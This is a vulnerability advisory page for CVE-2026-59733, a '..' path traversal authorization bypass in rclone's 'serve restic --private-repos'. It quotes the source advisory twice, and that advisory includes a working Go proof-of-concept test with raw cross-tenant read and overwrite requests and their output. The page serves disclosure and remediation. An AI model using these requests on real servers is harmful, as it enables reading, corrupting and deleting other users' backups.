CVE-2026-59733: Github.com/rclone/rclone `..` Vulnerability

HIGH
Advisory Identifier: GHSA-fqj9-69pf-6pjg
CVSS 8.8
CWE-639 CWE-22
Published
Advisory Summary

CVE-2026-59733 is a HIGH (CVSS 8.8) `..` vulnerability (CWE-639: Authorization Bypass Through User-Controlled Key) affecting Github.com/rclone/rclone libraries in the Go ecosystem. The issue involves `..` in the url path lets an authenticated user read, overwrite and delete other users' repositories. Remediation is available by upgrading affected packages to version 1.74.4.

CVE-2026-59733 at a Glance

CVE Identifier CVE-2026-59733
GHSA Identifier GHSA-fqj9-69pf-6pjg
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-639: Authorization Bypass Through User-Controlled Key
Affected Product Github.com/rclone/rclone
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-59733

To remediate this vulnerability, upgrade all affected Github.com/rclone/rclone dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/rclone/rclone fixed: 1.74.4
Upgrade github.com/rclone/rclone to 1.74.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/rclone/rclone

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-59733, inspect your project dependencies for Github.com/rclone/rclone:

inspect dependencies for github.com/rclone/rclone

Analyze the terminal output to locate any version of Github.com/rclone/rclone in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.74.4), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-639: Authorization Bypass Through User-Controlled Key, where the system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. In Github.com/rclone/rclone, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `rclone serve restic --private-repos` exists to let one rclone instance host many users' restic backup repositories behind HTTP Basic auth while keeping each user confined to a path prefix of `/<username>/`. The documentation states the flag "can be used to limit users to repositories starting with a path of `/<username>/`", and the shipped test `TestResticPrivateRepositories` asserts that user `test` may reach `/test/config` but is `403`-blocked from `/other_user/config`. This isolation is the entire security purpose of the flag. The isolation is enforced by two independent chi middlewares that derive the username and the backend object path from two *different* sources, and the path source is never canonicalized. `checkPrivate` authorizes the request by comparing the routed `{userID}` path segment against the authenticated user, while `WithRemote` builds the backend object key from the raw, un-cleaned URL path. A request such as `GET /<me>/../<victim>/config` keeps the first path segment equal to the attacker's own username (so `checkPrivate` returns the request as authorized) yet hands the backend the literal remote `me/../victim/config`. On any backend that resolves object paths with POSIX `path.Join`/`path.Clean` semantics — which includes the bundled `memory` backend used in the PoC below, and the widely deployed `sftp` and `ftp` backends — that `..` segment collapses, and the operation is performed against the victim's object. Because the same un-cleaned remote feeds the `GET` (download), `POST` (upload/overwrite) and `DELETE` handlers, any authenticated user can read, overwrite, and delete the files of any other user's private repository hosted on the same server. For restic that means reading another tenant's `config`/`keys` metadata and pack files, corrupting their repository, or deleting their backups outright (subject to `--append-only`, which still permits cross-tenant reads). ## Affected code (v1.74.3, commit `37e4117…`) `cmd/serve/restic/restic.go`. The two middlewares disagree on what "the path" is. `checkPrivate` reads the chi route param `userID`: ```go // Middleware to ensure authenticated user is accessing their own private folder func checkPrivate(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { user := chi.URLParam(r, "userID") userID, ok := libhttp.CtxGetUser(r.Context()) if ok && user != "" && user == userID { next.ServeHTTP(w, r) } else { http.Error(w, http.StatusText(http.StatusForbidden), http.StatusForbidden) } }) } ``` `WithRemote` builds the backend object key from the raw URL path with **no `path.Clean`** and no `..` rejection (the only transformation is the unrelated `data/xx` sharding rewrite): ```go func WithRemote(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { var urlpath string rctx := chi.RouteContext(r.Context()) if rctx != nil && rctx.RoutePath != "" { urlpath = rctx.RoutePath } else { urlpath = r.URL.Path } urlpath = strings.Trim(urlpath, "/") parts := matchData.FindStringSubmatch(urlpath) // ... data/2159dd48 -> data/21/2159dd48 sharding only ... ctx := context.WithValue(r.Context(), ContextRemoteKey, urlpath) next.ServeHTTP(w, r.WithContext(ctx)) }) } ``` Route wiring (`Bind`): the auth-bearing `{userID}` segment is matched by chi for `checkPrivate`, but the catch-all `/*` that `WithRemote` reads keeps the literal `..`: ```go if s.opt.PrivateRepos { router.Route("/{userID}", func(r chi.Router) { r.Use(checkPrivate) s.bind(r) }) ... } ``` The remote stored by `WithRemote` is then used verbatim by the object handlers, e.g. `serveObject` → `s.newObject(ctx, remote)` → `s.f.NewObject(ctx, remote)`, `postObject` → `operations.RcatSize(..., remote, ...)`, and `deleteObject` → `o.Remove(...)`. For a request `GET /test/../victim/config`, instrumentation shows `checkPrivate` observing `userIDparam="test"` (authorized) while the object remote is `"test/../victim/config"` — the desync is exact. ## Attacker model / precondition The attacker is a low-privileged but **legitimately authenticated** user of the server: they hold valid HTTP Basic credentials for their own private repo (this is the normal multi-tenant deployment the flag is designed for — e.g. a hosting provider giving each customer a restic endpoint). No victim interaction is required. Preconditions: (1) the operator runs `rclone serve restic` with `--private-repos` and authentication configured (the documented multi-tenant setup); and (2) the served backend resolves object paths with POSIX `path.Join`/`path.Clean` semantics so the `..` collapses before the object is located. This holds for the bundled `memory` backend (used in the self-contained PoC), and for the commonly deployed `sftp` and `ftp` backends, whose object path is computed as `path.Join(f.absRoot, remote)` (`backend/sftp/sftp.go`, `o.path()`), which canonicalizes `..`. It does **not** hold for the `local` backend (which deliberately re-encodes `.`/`..` path components to fullwidth characters in `cleanRootPath`/`localPath`, neutralizing traversal), and S3-style backends treat keys as opaque so a literal `..` key normally will not match a victim object — so impact is backend-dependent. That backend-dependence is itself the defect: the cross-user authorization boundary must be enforced at the HTTP layer and must not silently rely on a particular backend's incidental path handling. ## Impact Across the per-user trust boundary that `--private-repos` is meant to enforce, any authenticated user can, against any other user's repository on the same server: - **Read** (`GET`): download the victim's restic `config` and `keys/*` files and pack/index objects — full confidentiality break of the victim's repository metadata and stored blobs. (Restic encrypts pack contents client-side, but the repository config, key files, snapshot/index structure and object existence all leak, and the master key is recoverable offline by anyone who also knows the victim's restic password — i.e. this removes the server-side isolation that was the only barrier.) - **Overwrite** (`POST`): replace the victim's objects with attacker-chosen content, corrupting or poisoning their backups. Blocked only if `--append-only` is set. - **Delete** (`DELETE`): remove the victim's repository objects, destroying their backups. Blocked only if `--append-only` is set (which still allows the read primitive). This is a complete bypass of the multi-tenant isolation control, hence C:H/I:H/A:H, gated to PR:L by the need for a valid own-account. ## Proof of Concept (complete — runs on 127.0.0.1 only) Lab-only. This is a single self-contained Go test placed inside the rclone source tree; it starts an in-process restic server on a loopback `httptest` listener backed by the bundled in-memory backend (which has the same `path.Join` key semantics as the sftp/ftp backends), then sends **raw**, un-normalized HTTP request-targets over a TCP socket (so the `..` is not collapsed client-side). It proves: (1) a user reads their own object — `200`; (2) a direct cross-tenant request is correctly blocked — `403`; (3) the `..` bypass reads the victim's secret — `200` + leak; (4) the same bypass overwrites the victim's object — `200`. Reproduce against the exact vulnerable tag: ```console git clone --depth 1 --branch v1.74.3 https://github.com/rclone/rclone cd rclone # write the test file shown below to cmd/serve/restic/zzz_poc_test.go go test ./cmd/serve/restic/ -run TestPrivateRepoCrossTenantPoC -v ``` `cmd/serve/restic/zzz_poc_test.go`: ```go package restic import ( "bufio" "context" "encoding/base64" "fmt" "net" "net/http/httptest" "strings" "testing" "time" "github.com/rclone/rclone/fs" "github.com/rclone/rclone/fs/config/configfile" "github.com/rclone/rclone/fs/object" "github.com/rclone/rclone/lib/random" "github.com/stretchr/testify/require" _ "github.com/rclone/rclone/backend/memory" ) func pocBasicAuth(user, pass string) string { return base64.StdEncoding.EncodeToString([]byte(user + ":" + pass)) } // rawReq sends a raw HTTP/1.1 request with an arbitrary (un-normalized) // request-target + method + Basic auth, returning the full raw response. func rawReq(t *testing.T, addr, method, target, user, pass string) string { conn, err := net.Dial("tcp", addr) require.NoError(t, err) defer func() { _ = conn.Close() }() cred := pocBasicAuth(user, pass) req := fmt.Sprintf("%s %s HTTP/1.1\r\nHost: x\r\nAuthorization: Basic %s\r\nConnection: close\r\n\r\n", method, target, cred) _, err = conn.Write([]byte(req)) require.NoError(t, err) r := bufio.NewReader(conn) var sb strings.Builder buf := make([]byte, 8192) for { n, err := r.Read(buf) if n > 0 { sb.Write(buf[:n]) } if err != nil { break } } return sb.String() } func pocBody(resp string) string { if idx := strings.Index(resp, "\r\n\r\n"); idx >= 0 { return resp[idx+4:] } return "" } func pocStatus(resp string) string { return strings.SplitN(resp, "\r\n", 2)[0] } // TestPrivateRepoCrossTenantPoC demonstrates the --private-repos authz bypass // on a bucket-style backend (memory: same path.Join semantics as sftp/ftp). func TestPrivateRepoCrossTenantPoC(t *testing.T) { configfile.Install() ctx := context.Background() // Bucket-style backend shared by all private-repo users. f, err := fs.NewFs(ctx, ":memory:repos") require.NoError(t, err) put := func(remote, content string) { info := object.NewStaticObjectInfo(remote, time.Now(), int64(len(content)), true, nil, f) _, perr := f.Put(ctx, strings.NewReader(content), info) require.NoError(t, perr) } // Victim "alice" uploads her restic config under her own private prefix. secret := "ALICE-PRIVATE-RESTIC-CONFIG-" + random.String(8) put("alice/config", secret) // Attacker "mallory" has her own valid account on the same server. put("mallory/config", "mallory-own-config") opt := newOpt() opt.PrivateRepos = true opt.Auth.BasicUser = "mallory" opt.Auth.BasicPass = "password" opt.HTTP.ListenAddr = nil s, err := newServer(ctx, f, &opt) require.NoError(t, err) ts := httptest.NewServer(s.server.Router()) defer ts.Close() addr := strings.TrimPrefix(ts.URL, "http://") // 1. Sanity: mallory reads her own config -> 200. r1 := rawReq(t, addr, "GET", "/mallory/config", "mallory", "password") t.Logf("[own] GET /mallory/config -> %s body=%q", pocStatus(r1), pocBody(r1)) // 2. Direct cross-tenant attempt is correctly blocked by checkPrivate -> 403. r2 := rawReq(t, addr, "GET", "/alice/config", "mallory", "password") t.Logf("[direct-blocked] GET /alice/config -> %s body=%q", pocStatus(r2), pocBody(r2)) // 3. THE BYPASS: dot-dot in the trailing path keeps userID==mallory so // checkPrivate passes, but the object remote collapses to alice/config. r3 := rawReq(t, addr, "GET", "/mallory/../alice/config", "mallory", "password") leaked := strings.Contains(pocBody(r3), secret) t.Logf("[BYPASS] GET /mallory/../alice/config -> %s leaked=%v body=%q", pocStatus(r3), leaked, pocBody(r3)) require.Equalf(t, "HTTP/1.1 200 OK", pocStatus(r3), "expected the bypass to return alice's object") require.Truef(t, leaked, "expected to read alice's secret config across the tenant boundary") // 4. Write bypass too: mallory overwrites alice's object (append-only off). r4 := rawReq(t, addr, "POST", "/mallory/../alice/config", "mallory", "password") t.Logf("[BYPASS-write] POST /mallory/../alice/config -> %s", pocStatus(r4)) } ``` Observed output (v1.74.3 and master HEAD): ```text === RUN TestPrivateRepoCrossTenantPoC zzz_poc_test.go: [own] GET /mallory/config -> HTTP/1.1 200 OK body="mallory-own-config" zzz_poc_test.go: [direct-blocked] GET /alice/config -> HTTP/1.1 403 Forbidden body="Forbidden\n" zzz_poc_test.go: [BYPASS] GET /mallory/../alice/config -> HTTP/1.1 200 OK leaked=true body="ALICE-PRIVATE-RESTIC-CONFIG-sijejif0" zzz_poc_test.go: [BYPASS-write] POST /mallory/../alice/config -> HTTP/1.1 200 OK --- PASS: TestPrivateRepoCrossTenantPoC (0.00s) PASS ok github.com/rclone/rclone/cmd/serve/restic 0.022s ``` The shipped `TestResticPrivateRepositories` continues to pass alongside this PoC, confirming the intended isolation model (own `200`, direct cross-tenant `403`) is exactly what the `..` request defeats. Note the bypass is delivered as a raw request-target over the socket; a stock browser or `net/http` client would canonicalize the `..` before sending, but `curl --path-as-is`, restic's own REST client, or any raw socket write preserves it. ## Remediation Enforce the per-user boundary on a canonicalized path, and make the authorized segment and the backend remote derive from the *same* cleaned value: - In `WithRemote` (or before `checkPrivate` runs), reject or `path.Clean` the request path and refuse any path containing a `..` element after a leading-slash trim — e.g. compute `cleaned := path.Clean("/" + strings.Trim(urlpath, "/"))` and `403`/`400` if `cleaned` differs from the original or still contains a `..` segment. Then store `cleaned` (minus the leading slash) as the remote so the object key and the authorization decision are computed from one source of truth. - Additionally, in `checkPrivate`, verify that the (cleaned) object remote actually has the authenticated user's name as its first path segment, rather than trusting the chi `{userID}` route param in isolation: `require strings.HasPrefix(cleanedRemote, userID+"/") || cleanedRemote == userID`. - Defense in depth: the restic server should canonicalize and `..`-reject incoming object paths even when `--private-repos` is off, so that no backend is relied upon to neutralize traversal. Please credit 5ud0 / Tarmo Technologies.

CVE-2026-59733 Affected Github.com/rclone/rclone Versions

1 component(s)
Fixed Versions:
1.74.4
Product / Package Ecosystem Affected Versions Fixed Version
github.com/rclone/rclone
Go
< 1.74.4
1.74.4

References

Frequently Asked Questions

What is CVE-2026-59733?
CVE-2026-59733 is a security vulnerability in Github.com/rclone/rclone involving `..` in the URL path lets an authenticated user read, overwrite and delete other users' repositories under CWE-639: Authorization Bypass Through User-Controlled Key.
Which Github.com/rclone/rclone versions are affected?
Affected versions include releases prior to 1.74.4 across affected packages: github.com/rclone/rclone.
What version fixes CVE-2026-59733?
Upgrading to 1.74.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/rclone/rclone affected?
Yes, github.com/rclone/rclone is affected in releases prior to 1.74.4. Upgrade your dependency to 1.74.4 or later.
What is the CVSS score of CVE-2026-59733?
CVE-2026-59733 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-59733?
CVE-2026-59733 is classified under CWE-639: Authorization Bypass Through User-Controlled Key (The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.).
How can I check Go dependencies for CVE-2026-59733?
Run the dependency tree command: 'inspect dependencies for github.com/rclone/rclone'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fqj9-69pf-6pjg",
  "modified" : "2026-08-05T20:41:22Z",
  "published" : "2026-08-05T20:41:22Z",
  "aliases" : [ "CVE-2026-59733" ],
  "summary" : "rclone `serve restic --private-repos` authorization bypass: `..` in the URL path lets an authenticated user read, overwrite and delete other users' repositories",
  "details" : "## Summary\n\n`rclone serve restic --private-repos` exists to let one rclone instance host many users' restic backup repositories behind HTTP Basic auth while keeping each user confined to a path prefix of `/<username>/`. The documentation states the flag \"can be used to limit users to repositories starting with a path of `/<username>/`\", and the shipped test `TestResticPrivateRepositories` asserts that user `test` may reach `/test/config` but is `403`-blocked from `/other_user/config`. This isolation is the entire security purpose of the flag.\n\nThe isolation is enforced by two independent chi middlewares that derive the username and the backend object path from two *different* sources, and the path source is never canonicalized. `checkPrivate` authorizes the request by comparing the routed `{userID}` path segment against the authenticated user, while `WithRemote` builds the backend object key from the raw, un-cleaned URL path. A request such as `GET /<me>/../<victim>/config` keeps the first path segment equal to the attacker's own username (so `checkPrivate` returns the request as authorized) yet hands the backend the literal remote `me/../victim/config`. On any backend that resolves object paths with POSIX `path.Join`/`path.Clean` semantics — which includes the bundled `memory` backend used in the PoC below, and the widely deployed `sftp` and `ftp` backends — that `..` segment collapses, and the operation is performed against the victim's object.\n\nBecause the same un-cleaned remote feeds the `GET` (download), `POST` (upload/overwrite) and `DELETE` handlers, any authenticated user can read, overwrite, and delete the files of any other user's private repository hosted on the same server. For restic that means reading another tenant's `config`/`keys` metadata and pack files, corrupting their repository, or deleting their backups outright (subject to `--append-only`, which still permits cross-tenant reads).\n\n## Affected code (v1.74.3, commit `37e4117…`)\n\n`cmd/serve/restic/restic.go`. The two middlewares disagree on what \"the path\" is. `checkPrivate` reads the chi route param `userID`:\n\n```go\n// Middleware to ensure authenticated user is accessing their own private folder\nfunc checkPrivate(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tuser := chi.URLParam(r, \"userID\")\n\t\tuserID, ok := libhttp.CtxGetUser(r.Context())\n\t\tif ok && user != \"\" && user == userID {\n\t\t\tnext.ServeHTTP(w, r)\n\t\t} else {\n\t\t\thttp.Error(w, http.StatusText(http.StatusForbidden), http.StatusForbidden)\n\t\t}\n\t})\n}\n```\n\n`WithRemote` builds the backend object key from the raw URL path with **no `path.Clean`** and no `..` rejection (the only transformation is the unrelated `data/xx` sharding rewrite):\n\n```go\nfunc WithRemote(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tvar urlpath string\n\t\trctx := chi.RouteContext(r.Context())\n\t\tif rctx != nil && rctx.RoutePath != \"\" {\n\t\t\turlpath = rctx.RoutePath\n\t\t} else {\n\t\t\turlpath = r.URL.Path\n\t\t}\n\t\turlpath = strings.Trim(urlpath, \"/\")\n\t\tparts := matchData.FindStringSubmatch(urlpath)\n\t\t// ... data/2159dd48 -> data/21/2159dd48 sharding only ...\n\t\tctx := context.WithValue(r.Context(), ContextRemoteKey, urlpath)\n\t\tnext.ServeHTTP(w, r.WithContext(ctx))\n\t})\n}\n```\n\nRoute wiring (`Bind`): the auth-bearing `{userID}` segment is matched by chi for `checkPrivate`, but the catch-all `/*` that `WithRemote` reads keeps the literal `..`:\n\n```go\nif s.opt.PrivateRepos {\n\trouter.Route(\"/{userID}\", func(r chi.Router) {\n\t\tr.Use(checkPrivate)\n\t\ts.bind(r)\n\t})\n\t...\n}\n```\n\nThe remote stored by `WithRemote` is then used verbatim by the object handlers, e.g. `serveObject` → `s.newObject(ctx, remote)` → `s.f.NewObject(ctx, remote)`, `postObject` → `operations.RcatSize(..., remote, ...)`, and `deleteObject` → `o.Remove(...)`. For a request `GET /test/../victim/config`, instrumentation shows `checkPrivate` observing `userIDparam=\"test\"` (authorized) while the object remote is `\"test/../victim/config\"` — the desync is exact.\n\n## Attacker model / precondition\n\nThe attacker is a low-privileged but **legitimately authenticated** user of the server: they hold valid HTTP Basic credentials for their own private repo (this is the normal multi-tenant deployment the flag is designed for — e.g. a hosting provider giving each customer a restic endpoint). No victim interaction is required.\n\nPreconditions: (1) the operator runs `rclone serve restic` with `--private-repos` and authentication configured (the documented multi-tenant setup); and (2) the served backend resolves object paths with POSIX `path.Join`/`path.Clean` semantics so the `..` collapses before the object is located. This holds for the bundled `memory` backend (used in the self-contained PoC), and for the commonly deployed `sftp` and `ftp` backends, whose object path is computed as `path.Join(f.absRoot, remote)` (`backend/sftp/sftp.go`, `o.path()`), which canonicalizes `..`. It does **not** hold for the `local` backend (which deliberately re-encodes `.`/`..` path components to fullwidth characters in `cleanRootPath`/`localPath`, neutralizing traversal), and S3-style backends treat keys as opaque so a literal `..` key normally will not match a victim object — so impact is backend-dependent. That backend-dependence is itself the defect: the cross-user authorization boundary must be enforced at the HTTP layer and must not silently rely on a particular backend's incidental path handling.\n\n## Impact\n\nAcross the per-user trust boundary that `--private-repos` is meant to enforce, any authenticated user can, against any other user's repository on the same server:\n\n- **Read** (`GET`): download the victim's restic `config` and `keys/*` files and pack/index objects — full confidentiality break of the victim's repository metadata and stored blobs. (Restic encrypts pack contents client-side, but the repository config, key files, snapshot/index structure and object existence all leak, and the master key is recoverable offline by anyone who also knows the victim's restic password — i.e. this removes the server-side isolation that was the only barrier.)\n- **Overwrite** (`POST`): replace the victim's objects with attacker-chosen content, corrupting or poisoning their backups. Blocked only if `--append-only` is set.\n- **Delete** (`DELETE`): remove the victim's repository objects, destroying their backups. Blocked only if `--append-only` is set (which still allows the read primitive).\n\nThis is a complete bypass of the multi-tenant isolation control, hence C:H/I:H/A:H, gated to PR:L by the need for a valid own-account.\n\n## Proof of Concept (complete — runs on 127.0.0.1 only)\n\nLab-only. This is a single self-contained Go test placed inside the rclone source tree; it starts an in-process restic server on a loopback `httptest` listener backed by the bundled in-memory backend (which has the same `path.Join` key semantics as the sftp/ftp backends), then sends **raw**, un-normalized HTTP request-targets over a TCP socket (so the `..` is not collapsed client-side). It proves: (1) a user reads their own object — `200`; (2) a direct cross-tenant request is correctly blocked — `403`; (3) the `..` bypass reads the victim's secret — `200` + leak; (4) the same bypass overwrites the victim's object — `200`.\n\nReproduce against the exact vulnerable tag:\n\n```console\ngit clone --depth 1 --branch v1.74.3 https://github.com/rclone/rclone\ncd rclone\n# write the test file shown below to cmd/serve/restic/zzz_poc_test.go\ngo test ./cmd/serve/restic/ -run TestPrivateRepoCrossTenantPoC -v\n```\n\n`cmd/serve/restic/zzz_poc_test.go`:\n\n```go\npackage restic\n\nimport (\n\t\"bufio\"\n\t\"context\"\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/rclone/rclone/fs\"\n\t\"github.com/rclone/rclone/fs/config/configfile\"\n\t\"github.com/rclone/rclone/fs/object\"\n\t\"github.com/rclone/rclone/lib/random\"\n\t\"github.com/stretchr/testify/require\"\n\n\t_ \"github.com/rclone/rclone/backend/memory\"\n)\n\nfunc pocBasicAuth(user, pass string) string {\n\treturn base64.StdEncoding.EncodeToString([]byte(user + \":\" + pass))\n}\n\n// rawReq sends a raw HTTP/1.1 request with an arbitrary (un-normalized)\n// request-target + method + Basic auth, returning the full raw response.\nfunc rawReq(t *testing.T, addr, method, target, user, pass string) string {\n\tconn, err := net.Dial(\"tcp\", addr)\n\trequire.NoError(t, err)\n\tdefer func() { _ = conn.Close() }()\n\tcred := pocBasicAuth(user, pass)\n\treq := fmt.Sprintf(\"%s %s HTTP/1.1\\r\\nHost: x\\r\\nAuthorization: Basic %s\\r\\nConnection: close\\r\\n\\r\\n\", method, target, cred)\n\t_, err = conn.Write([]byte(req))\n\trequire.NoError(t, err)\n\tr := bufio.NewReader(conn)\n\tvar sb strings.Builder\n\tbuf := make([]byte, 8192)\n\tfor {\n\t\tn, err := r.Read(buf)\n\t\tif n > 0 {\n\t\t\tsb.Write(buf[:n])\n\t\t}\n\t\tif err != nil {\n\t\t\tbreak\n\t\t}\n\t}\n\treturn sb.String()\n}\n\nfunc pocBody(resp string) string {\n\tif idx := strings.Index(resp, \"\\r\\n\\r\\n\"); idx >= 0 {\n\t\treturn resp[idx+4:]\n\t}\n\treturn \"\"\n}\nfunc pocStatus(resp string) string { return strings.SplitN(resp, \"\\r\\n\", 2)[0] }\n\n// TestPrivateRepoCrossTenantPoC demonstrates the --private-repos authz bypass\n// on a bucket-style backend (memory: same path.Join semantics as sftp/ftp).\nfunc TestPrivateRepoCrossTenantPoC(t *testing.T) {\n\tconfigfile.Install()\n\tctx := context.Background()\n\n\t// Bucket-style backend shared by all private-repo users.\n\tf, err := fs.NewFs(ctx, \":memory:repos\")\n\trequire.NoError(t, err)\n\n\tput := func(remote, content string) {\n\t\tinfo := object.NewStaticObjectInfo(remote, time.Now(), int64(len(content)), true, nil, f)\n\t\t_, perr := f.Put(ctx, strings.NewReader(content), info)\n\t\trequire.NoError(t, perr)\n\t}\n\n\t// Victim \"alice\" uploads her restic config under her own private prefix.\n\tsecret := \"ALICE-PRIVATE-RESTIC-CONFIG-\" + random.String(8)\n\tput(\"alice/config\", secret)\n\n\t// Attacker \"mallory\" has her own valid account on the same server.\n\tput(\"mallory/config\", \"mallory-own-config\")\n\n\topt := newOpt()\n\topt.PrivateRepos = true\n\topt.Auth.BasicUser = \"mallory\"\n\topt.Auth.BasicPass = \"password\"\n\topt.HTTP.ListenAddr = nil\n\n\ts, err := newServer(ctx, f, &opt)\n\trequire.NoError(t, err)\n\tts := httptest.NewServer(s.server.Router())\n\tdefer ts.Close()\n\taddr := strings.TrimPrefix(ts.URL, \"http://\")\n\n\t// 1. Sanity: mallory reads her own config -> 200.\n\tr1 := rawReq(t, addr, \"GET\", \"/mallory/config\", \"mallory\", \"password\")\n\tt.Logf(\"[own]            GET /mallory/config              -> %s  body=%q\", pocStatus(r1), pocBody(r1))\n\n\t// 2. Direct cross-tenant attempt is correctly blocked by checkPrivate -> 403.\n\tr2 := rawReq(t, addr, \"GET\", \"/alice/config\", \"mallory\", \"password\")\n\tt.Logf(\"[direct-blocked] GET /alice/config               -> %s  body=%q\", pocStatus(r2), pocBody(r2))\n\n\t// 3. THE BYPASS: dot-dot in the trailing path keeps userID==mallory so\n\t//    checkPrivate passes, but the object remote collapses to alice/config.\n\tr3 := rawReq(t, addr, \"GET\", \"/mallory/../alice/config\", \"mallory\", \"password\")\n\tleaked := strings.Contains(pocBody(r3), secret)\n\tt.Logf(\"[BYPASS]         GET /mallory/../alice/config     -> %s  leaked=%v body=%q\", pocStatus(r3), leaked, pocBody(r3))\n\n\trequire.Equalf(t, \"HTTP/1.1 200 OK\", pocStatus(r3), \"expected the bypass to return alice's object\")\n\trequire.Truef(t, leaked, \"expected to read alice's secret config across the tenant boundary\")\n\n\t// 4. Write bypass too: mallory overwrites alice's object (append-only off).\n\tr4 := rawReq(t, addr, \"POST\", \"/mallory/../alice/config\", \"mallory\", \"password\")\n\tt.Logf(\"[BYPASS-write]   POST /mallory/../alice/config    -> %s\", pocStatus(r4))\n}\n```\n\nObserved output (v1.74.3 and master HEAD):\n\n```text\n=== RUN   TestPrivateRepoCrossTenantPoC\n    zzz_poc_test.go: [own]            GET /mallory/config              -> HTTP/1.1 200 OK  body=\"mallory-own-config\"\n    zzz_poc_test.go: [direct-blocked] GET /alice/config               -> HTTP/1.1 403 Forbidden  body=\"Forbidden\\n\"\n    zzz_poc_test.go: [BYPASS]         GET /mallory/../alice/config     -> HTTP/1.1 200 OK  leaked=true body=\"ALICE-PRIVATE-RESTIC-CONFIG-sijejif0\"\n    zzz_poc_test.go: [BYPASS-write]   POST /mallory/../alice/config    -> HTTP/1.1 200 OK\n--- PASS: TestPrivateRepoCrossTenantPoC (0.00s)\nPASS\nok  \tgithub.com/rclone/rclone/cmd/serve/restic\t0.022s\n```\n\nThe shipped `TestResticPrivateRepositories` continues to pass alongside this PoC, confirming the intended isolation model (own `200`, direct cross-tenant `403`) is exactly what the `..` request defeats. Note the bypass is delivered as a raw request-target over the socket; a stock browser or `net/http` client would canonicalize the `..` before sending, but `curl --path-as-is`, restic's own REST client, or any raw socket write preserves it.\n\n## Remediation\n\nEnforce the per-user boundary on a canonicalized path, and make the authorized segment and the backend remote derive from the *same* cleaned value:\n\n- In `WithRemote` (or before `checkPrivate` runs), reject or `path.Clean` the request path and refuse any path containing a `..` element after a leading-slash trim — e.g. compute `cleaned := path.Clean(\"/\" + strings.Trim(urlpath, \"/\"))` and `403`/`400` if `cleaned` differs from the original or still contains a `..` segment. Then store `cleaned` (minus the leading slash) as the remote so the object key and the authorization decision are computed from one source of truth.\n- Additionally, in `checkPrivate`, verify that the (cleaned) object remote actually has the authenticated user's name as its first path segment, rather than trusting the chi `{userID}` route param in isolation: `require strings.HasPrefix(cleanedRemote, userID+\"/\") || cleanedRemote == userID`.\n- Defense in depth: the restic server should canonicalize and `..`-reject incoming object paths even when `--private-repos` is off, so that no backend is relied upon to neutralize traversal.\n\nPlease credit 5ud0 / Tarmo Technologies.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/rclone/rclone"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.74.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.74.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/rclone/rclone/security/advisories/GHSA-fqj9-69pf-6pjg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-59733"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rclone/rclone/commit/015fd0eba1cb138eef081517795fed47a2873f2d"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rclone/rclone/commit/dade21c1616035b044df0eef7ee6a85aeb06a139"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/rclone/rclone"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rclone/rclone/releases/tag/v1.74.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-639" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-05T20:41:22Z",
    "nvd_published_at" : "2026-07-14T22:17:30Z"
  }
}